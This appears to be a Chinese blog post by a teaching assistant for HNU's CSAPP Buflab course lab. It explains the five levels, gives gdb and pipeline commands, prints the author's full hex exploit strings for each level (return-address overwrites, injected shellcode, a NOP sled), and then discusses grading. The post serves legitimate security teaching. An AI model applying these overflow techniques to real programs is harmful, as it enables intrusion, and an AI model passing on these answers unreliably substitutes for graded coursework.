2024Spring> HNU-计算机系统-实验4-Buflab-导引+验收

2024-05-26 07:44

本文主要是介绍2024Spring> HNU-计算机系统-实验4-Buflab-导引+验收,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前言

称不上导引了,因为验收已经结束了。主要是最近比较忙,在准备期末考试。周五晚上才开始看实验,自己跟着做了一遍实验,感觉难度还是比bomblab要低的,但是如果用心做的话对于栈帧的理解确实能上几个档次。

实验参考

这次我先上参考文献了,我主要还是在看A橙学长写的blog,然后参考了一些其它的blog。

由于我自己并没有花太多时间去做这个实验,我还是觉得看前辈们的博客会更方便理解一点。

A橙学长的buflab博客

CSAPP-buflab - 简书

计算机系统实验三——buflab(缓冲区实验)-CSDN博客

引导

这个实验主要是让我们用缓冲区溢出的方式修改函数的返回地址,或者修改寄存器的值,用这种方式可以让原来的函数干一些你想让它干的事情。具体逻辑在后面呈现。

①环境准备

拿到手应该是buflab-handout.tar.gz包,首先使用如下指令解压。

tar -xzvf buflab-handout.tar.gz

这样会得到3个文件,

  • bufbomb:类似于前面的bomblab的bomb,是我们要拆的炸弹
  • makecookie:让我们知道自己的用户id对应什么cookie(推测是一种哈希映射)
  • hex2raw:将我们写的16进制编码转换为字符串输入

与之前一样,可以使用如下指令反汇编得到汇编代码,保存在txt文件内,方便查看。

objdump -d bufbomb > bombcode.txt

使用如下代码查看自己的cookie,比如我的用户名是wolf,我就按下面这样,它会给出一个4字节的哈希值,这就是wolf对应的cookie。你也可以输入自己的学号,或者自己喜欢的代号。

./makecookie wolf

接下来就是看着txt文件,分析代码,然后拆炸弹,得到期望的运行结果了。

②逐个拆炸弹

一共有5关,从 level 0 到 level 4 ,难度递增,基本上后一个是前一个上面的改进。

我大致说说每一个level的含义以及不同。

  • level 0:修改getbuf函数的返回地址,使它调用smoke函数。不需要考虑栈被破坏的恢复
  • level 1:修改getbuf函数的返回地址,使它调用fizz函数,但是fizz函数有一个参数,需要同时修改栈上被传递的参数,该函数验证cookie是否等于被传递的参数。不需要考虑栈被破坏的恢复
  • level 2:修改getbuf函数的返回地址,使它调用bang函数,但是有一个全局变量(全局变量不保存在栈上,因而需要使用代码修改而不能简单通过缓冲区覆盖栈上的值完成),该函数验证cookie值是否等于这个全局变量。不需要考虑栈被破坏的恢复
  • level 3:执行getbuf()后,将getbuf()的返回值修改为cookie值,并返回到test()函数,同时恢复被破坏的栈(ebp的值)
  • level 4:使用-n标志运行程序】是上一level的升级版,相当于连续做5次level3,但有小区别。具体过程:调用testn(),在testn()中调用getbufn()五次,且缓冲区的大小为512字节。每次getbufn()的栈空间随机,因此不可以再使用level3中的方式找到buf的起始位置。

具体的拆炸弹过程可以参考上面列出来供参考的几位博客,我就不再赘述了。

评价一下,实验层层递进,由浅入深,确实十分精妙有趣。

③注意点

说一些注意点:

gdb的基础使用:

gdb -q bufbomb

打断点怎么打? 例如:b*0x8048436

怎么继续运行到下一个断点?c

最后一题注意要使用-n标志去运行程序(不论是调试还是运行),否则可能会报段错误

可以使用管道符来快速跑起来,如下面这样可以快速试试第4关

cat level4.txt | ./hex2raw | ./bufbomb -u wolf

④我的答案(对于name=wolf)

level0

/* spaces 44 Bytes */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00/* return address to smoke 4 Bytes */
0b 8e 04 08

level1

/* spaces 44 Bytes */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00/* return address to fizz 4 Bytes */
af 8d 04 08/* spaces 4 Bytes */
00 00 00 00/* cookie 4 Bytes */
68 18 e4 64

level2

/* my function 13 Bytes */
b8 68 18 e4 64 /* mov $0x64e41868,%eax */
b9 0c d1 04 08 /* mov $0x0804d10c,%ecx */
89 01          /* mov %eax,(%ecx) */
c3             /* ret *//* spaces 31 Bytes */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00/* return address to my function 4 Bytes */
58 3b 68 55/* return address to bang 4 Bytes */
52 8d 04 08

level3

/* my function 17 Bytes */
68 50 8e 04 08 /* push $0x8048e50 */
68 b0 3b 68 55 /* push $0x55683bb0 */
b8 68 18 e4 64 /* mov $0x64e41868,%eax */
c9             /* leave */
c3             /* ret *//* spaces 23 Bytes */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00/* set ebp 4 Bytes */
80 3b 68 55/* return address to my function 4 Bytes */
58 3b 68 55

level4(这个还需要调一下)

/* nop sleds 509 Bytes */
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90/* my function 15 Bytes */
b8 68 18 e4 64 /* mov $0x64e41868,%eax */
8d 6c 24 28    /* lea 0x28(%esp),%ebp */
68 e2 8c 04 08 /* push $0x8048ce2 */
c3             /* ret  *//* set return address 4 Bytes */
c8 39 68 55

验收

接下来讲一下验收的情况。

由于这次实验我本人自认为确实没有做充足的准备(仅仅是做了一遍,并没有进行深入的思考)。因此这次实验验收,我主要是在听同学们讲,然后根据我认为他们的理解程度给出评价。也因此,这次我给出的基本都是A,基本没有给到B的,然后有4位A+。主要是我认为同学们都达到了我的预期,基本理解了栈帧以及运行时栈的调动(其实如果静下心来学的话,不难的)。

拿到A+的同学或者一些其它比较好的同学有以下优点可供同学们学习:

  • ①条理清晰:这一点其实说着好像简单,实际上一点都不简单。确实有些同学我知道他理解了,但是在展示上确实观感就没那么突出。(这个其实我也有一点这样,我不太善于表达自己的观点)。我认为能清晰地表达出自己的观点是一种非常重要的能力,无论是在哪里。
  • ②预先绘制清晰图表:运行时栈的变化有时还是很难讲清楚的,所以印象中有好几位同学预先绘制了这样的图表,就会清晰好多。关键是在短时间内,我能一眼看到他确实懂了。有辅助的图表,会清晰很多,这个是在展示的层面上,可视化比平铺直叙更具有吸引力,也更方便交流。
  • ③探索心路:这一点是很多同学都忽视的。同学们习惯一上来就从level 0 开始讲。其实我还是比较关注这整体实验的来历的。包括你是怎么知道有5个关卡的,你是怎么知道要做这些的,你是怎么知道实验通关的标志的,等等这些。我希望看到你从0探索出全图的一些心路(就像一个一个锚点去开,然后全图豁然开朗的欣喜),而不是上来就一路过关斩将,实际上又有几个人能做到这么顺利呢。虽然我们都知道这个世界最看重结果,但我认为探索的过程永远是最有价值的部分。这一点还可以延申一下,由于课业繁重等,我们做实验往往抱着完成任务的态度,这无可厚非,但有时会感觉太刻意了,缺乏了一些探索的美感。还是希望同学们能有这个意识。
  • ④分析缓冲区溢出原因:很少有同学提及,我们这个实验为什么能继续下去。印象中有同学翻开书给我看,或者翻代码给我看gets函数的特性,因为这是它不检验溢出,可以无限读取。以及用fgets函数可以避免这个漏洞。我觉得这就非常好,这就是知其然而知其所以然。有时候这也是我们实验需要关注的一些细节。
  • ⑤关注基本指令的作用:几个小问题,call指令,leave指令,ret指令究竟做了什么,怎么转换成基本的操作。我觉得这个问题很重要。很欣喜的是大部分同学都能答得上来(实际上这也是做这个实验的基本要求)。有同学掌握的不是很熟练,有同学特别对这个做了总结,我觉得还是要关注的。

其它的:

  • ⑥印象中有同学探究了中间几个level的多种实现方法(修改ebp寄存器的值可以通过指令修改,也可以直接缓冲区溢出覆盖),(恢复ebp的几种方法)还有一些别的实现方法。有同学做到后面的题目之后,能想到对前面题目的改进方法,并对前面的题目也做了栈的修复,这些探究都非常好。
  • ⑦印象比较深刻的是有同学在level 0 用重定位绕过了 0a 导致被识别成换行符的问题,还是能让程序从smoke的第一条指令进入,而不是网上大多采用的改为0b然后从第二条指令进入的方法。这是一个令我眼前一亮的想法。想到这个的同学对于知识的整体体系有一个较好的整合。
  • ⑧有同学对于实验中不理解的地方向我提出问题,我在自己的能力范围内试图给出解答,不一定是正确的,但我认为这也能在一定的程度上反映出他的思考。能提出问题,能提出有价值的问题,也是一种能力

验收只是一个形式,最重要的还是希望大家能从实验中确实学到知识。

下面简单罗列一些我或者研究生助教的提问

  • 这个level相比于上个level,主要增加了什么需要完成的部分,你是怎么完成的?(主要问题)
  • level1中间为什么会空一个可以随便填写的地方?
  • level2你的代码入口在哪里,怎么获取它的地址?
  • level4为这5个ebp,为什么选择最大的那个?如果选择最小的那个会出现什么问题?
  • 运行时栈,怎么变化?
  • 某个地址,某个ebp,某个立即数,你是怎么得到的?
  • 某条指令的作用(call,ret,leave等)?
  • gdb m32标志是干什么的?(这是研究生助教提问的,有同学答不上来)(我认为这个应该还是比较基础的,主要是我们的系统基本上都是64位的,但是我们用的这个bomb是32位的,如果不使用这个标志,我们自己写的汇编可能会编译出retq这种64位特有的指令类型,不兼容的)
  • 其它问题(主要围绕代码本身或者运行时栈的变化)

尾声

真的很高兴能在大三成为本科生助教,为可爱而优秀的学弟学妹们验收这门计算机领域最重要课程的4个实验。

说起来,最早想当助教的念头起源于大二我在上这门课程时遇到的优秀的A橙学长,A橙学长独特的人格魅力真的吸引了我们,我们班甚至是我们年级好多人都是A橙学长的小迷弟小迷妹。A橙学长撰写的大量博客如一盏明灯,指引着我的本科生活。我想当助教99%的原因都是来自于这一点。希望能将这一点传承下去。我就是基于这样一种朴素的,希望能把自己遇到的真善美传递下去,这个简单的理念。这也许就是湖大信息院的诸多“传承”之一吧,像班助一样。

预祝学弟学妹们都能收获自己满意的知识+成绩。

这篇关于2024Spring> HNU-计算机系统-实验4-Buflab-导引+验收的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1003848

相关文章

软件设计师备考——计算机系统

学习内容源自「软件设计师」 上午题 #1 计算机系统_哔哩哔哩_bilibili 目录 1.1.1 计算机系统硬件基本组成 1.1.2 中央处理单元 1.CPU 的功能 1)运算器 2)控制器 RISC && CISC 流水线控制 存储器  Cache 中断 输入输出IO控制方式 程序查询方式 中断驱动方式 直接存储器方式(DMA)  ​编辑 总线 ​编辑

STM32(十一):ADC数模转换器实验

AD单通道: 1.RCC开启GPIO和ADC时钟。配置ADCCLK分频器。 2.配置GPIO,把GPIO配置成模拟输入的模式。 3.配置多路开关,把左面通道接入到右面规则组列表里。 4.配置ADC转换器, 包括AD转换器和AD数据寄存器。单次转换,连续转换;扫描、非扫描;有几个通道,触发源是什么,数据对齐是左对齐还是右对齐。 5.ADC_CMD 开启ADC。 void RCC_AD

HNU-2023电路与电子学-实验3

写在前面: 一、实验目的 1.了解简易模型机的内部结构和工作原理。 2.分析模型机的功能,设计 8 重 3-1 多路复用器。 3.分析模型机的功能,设计 8 重 2-1 多路复用器。 4.分析模型机的工作原理,设计模型机控制信号产生逻辑。 二、实验内容 1.用 VERILOG 语言设计模型机的 8 重 3-1 多路复用器; 2.用 VERILOG 语言设计模型机的 8 重 2-1 多

61.以太网数据回环实验(4)以太网数据收发器发送模块

(1)状态转移图: (2)IP数据包格式: (3)UDP数据包格式: (4)以太网发送模块代码: module udp_tx(input wire gmii_txc ,input wire reset_n ,input wire tx_start_en , //以太网开始发送信

LTspice模拟CCM和DCM模式的BUCK电路实验及参数计算

关于BUCK电路的原理可以参考硬件工程师炼成之路写的《 手撕Buck!Buck公式推导过程》.实验内容是将12V~5V的Buck电路仿真,要求纹波电压小于15mv. CCM和DCM的区别: CCM:在一个开关周期内,电感电流从不会到0. DCM:在开关周期内,电感电流总会到0. CCM模式Buck电路仿真: 在用LTspice模拟CCM电路时,MOS管驱动信号频率为100Khz,负载为10R(可自

HCIA--实验十:路由的递归特性

递归路由的理解 一、实验内容 1.需求/要求: 使用4台路由器,在AR1和AR4上分别配置一个LOOPBACK接口,根据路由的递归特性,写一系列的静态路由实现让1.1.1.1和4.4.4.4的双向通信。 二、实验过程 1.拓扑图: 2.步骤: (下列命令行可以直接复制在ensp) 1.如拓扑图所示,配置各路由器的基本信息: 各接口的ip地址及子网掩码,给AR1和AR4分别配置

OpenGL/GLUT实践:流体模拟——数值解法求解Navier-Stokes方程模拟二维流体(电子科技大学信软图形与动画Ⅱ实验)

源码见GitHub:A-UESTCer-s-Code 文章目录 1 实现效果2 实现过程2.1 流体模拟实现2.1.1 网格结构2.1.2 数据结构2.1.3 程序结构1) 更新速度场2) 更新密度值 2.1.4 实现效果 2.2 颜色设置2.2.1 颜色绘制2.2.2 颜色交互2.2.3 实现效果 2.3 障碍设置2.3.1 障碍定义2.3.2 障碍边界条件判定2.3.3 障碍实现2.3.

pta-2024年秋面向对象程序设计实验一-java

文章申明:作者也为初学者,解答仅供参考,不一定是最优解; 一:7-1 sdut-sel-2 汽车超速罚款(选择结构) 答案: import java.util.Scanner;         public class Main { public static void main(String[] arg){         Scanner sc=new Scanner(System

如何校准实验中振镜频率的漂移

在实验过程中,使用共振扫描振镜(如Cambridge Technology的8kHz振镜)时,频率漂移是一个常见问题,尤其是在温度变化或长期运行的情况下。为了确保实验的准确性和稳定性,我们需要采取有效的校准措施。本文将介绍如何监测、调节和校准振镜频率,以减少漂移对实验结果的影响。 1. 温度管理和稳定性控制 振镜的频率变化与温度密切相关,温度的升高会导致机械结构的变化,进而影响振镜的共

深入理解计算机系统阅读笔记-第四章

第四章 处理器体系结构 一个处理器支持的指令和指令的字节级编码称为它的ISA(instruction-set architecture,指令集体系结构)。不同家族处理器有不同的ISA。ISA在编译器编写者和处理器设计人员之间提供了一个概念抽象层,编译器编写者只需要知道允许哪些指令,以及他们是如何编码的;而处理器设计者,必须建造出执行这些指令的处理器。 ISA模型看上去是顺序执行的,实际上同时处